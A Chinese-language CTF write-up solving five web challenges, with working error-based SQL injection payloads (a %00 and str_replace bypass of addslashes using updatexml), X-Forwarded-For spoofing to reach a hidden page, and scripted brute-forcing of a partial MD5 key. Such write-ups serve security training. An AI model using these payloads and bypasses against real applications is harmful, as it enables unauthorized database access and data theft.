CTF题1

题1: robot

 根据提示直接去访问robots.txt这个文件

直接http://106.75.86.18:1111/robots.txt

CTF题1

​在访问http://106.75.86.18:1111/admin/3she11.php查看源码 获得flag

题2:seelog 看日志

根据提示直接去访问log

直接访问​http://106.75.86.18:3333/log

CTF题1


​在访问access.log,通过查找 HTTP/1.1" 200的反应请求

CTF题1访问

http://106.75.86.18:3333/wojiushiHouTai888/denglU.php?username=admin&password=af3a-6b2115c9a2c0&submit=%E7%99%BB%E5%BD%95
 获得flag

题3:VID

直接访问查看源码,发现一个index.php.txt去访问这个文件

CTF题1


CTF题1

发现3个GET传入的参数构造新的URL  http://106.75.26.211:1111/index.php?flag1=fvhjjihfcv&flag2=gfuyiyhioyf&flag3=yugoiiyhi​

CTF题1


​再次构造新的URL http://106.75.26.211:1111/1chunqiu.zip

CTF题1

下载源码查看登录界面的代码login.php

CTF题1

​ $username = $db->safe_data($_POST['username']);

调用​safe_data()函数,这个函数使用stripcslashes() 删除\ ,

                                                           addslashes()为' " \  null加上一个\​

使​传入的username不带特殊符号或者是带\的特殊符号,使用我们不能直接加\

$username = trim(str_replace($number, '', $username));​

username吧number替换为空

在加上下面的执行了SQL的语句带error报错,我们就可以构造SQL注入的报错语句

​访问http://106.75.26.211:1111/1chunqiu/login.html抓包进行注入,发现GET的参数

number=0&username=dasd%00'  闭合参数(SQL注入的最重的就是闭合前面的语句)

​ %0​是很特殊的=\,%00' 在php中解析后就变成了\0',在加上safe_data()函数对username的处理,%00'=\0\' 这形势并没有达到闭合这参数的目的,在经过$username = trim(str_replace($number, '', $username));这替换我们需要把\0\'里面的0去掉就需要number=0。

number=0&username=dasd%00' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)%23  &password=asd&submit=3424

获取当前数据有哪些表

CTF题1

在通过

and updatexml(1,concat(1,substr((select flag from flag),1,35)),1)%23  注:35是2分发测试出来,这里的显示位只有32所以还需要在构造一次

and updatexml(1,concat(1,substr((select flag from flag),25,35)),1)%23

CTF题1

CTF题1

组合起来就是flag


题4:天下武功唯快不破

CTF题1

通过代码得知Cookie中token=hello,flag.php里面的内容就会写入到一个u目录下1-1000以内随机生成的一个MD5的值为名的txt文件,10s后删除。自己简单的写个python脚本

CTF题1

执行脚本的时候一直刷新网页,可能要刷新好几次才能显示出flag

CTF题1

5:​fuzzing

直接访问,查看源码什么都没有

CTF题1

抓包看看,发现一个hint 的标识这个可能是个大内网,大胆尝试伪造IP看看,使用火狐的X-Forwarded-For或者使用Burp伪造一个X-Forwarded-For

CTF题1

伪造IP后发包,发现一个m4nage.php

CTF题1

访问m4nage.php文件,发现需要输入key

CTF题1

任意输入一个key值,Burp直接加可能会出问题,使用火狐POST方式发送一个key

CTF题1

发现一个MD5加密的key但是还有5位值不知道,范围在a-z0-9。简单的写个python脚本跑出key值

CTF题1

CTF题1

获取到了正确的key位  ichunqiu618ok

CTF题1

再次发现一个xx00xxoo.php的文件去访问看看

CTF题1CTF题1

发现了flag值但是是加密的,而且看出来什么加密,还发现一个x0.txt的文件去访问看看 CTF题1

这个txt文件里面是php创建的一个函数,flag的值就是通过这个函数加密得到了的,去调用这个函数解码flagCTF题1

直接调用函数,解码获取正确的flag

echo authcode($string='5558r8JQYwfDM89zyttHVaMLg2NRDiGRetV65PBi7Zsj6mJ3kYTo5QIcKVooQoPEVKLMgPvH6Z/bo8GoNPL2Os63qiUYk4Q', $operation = 'DECODE', $key = 'ichunqiu618ok', $expiry = 0)

CTF题1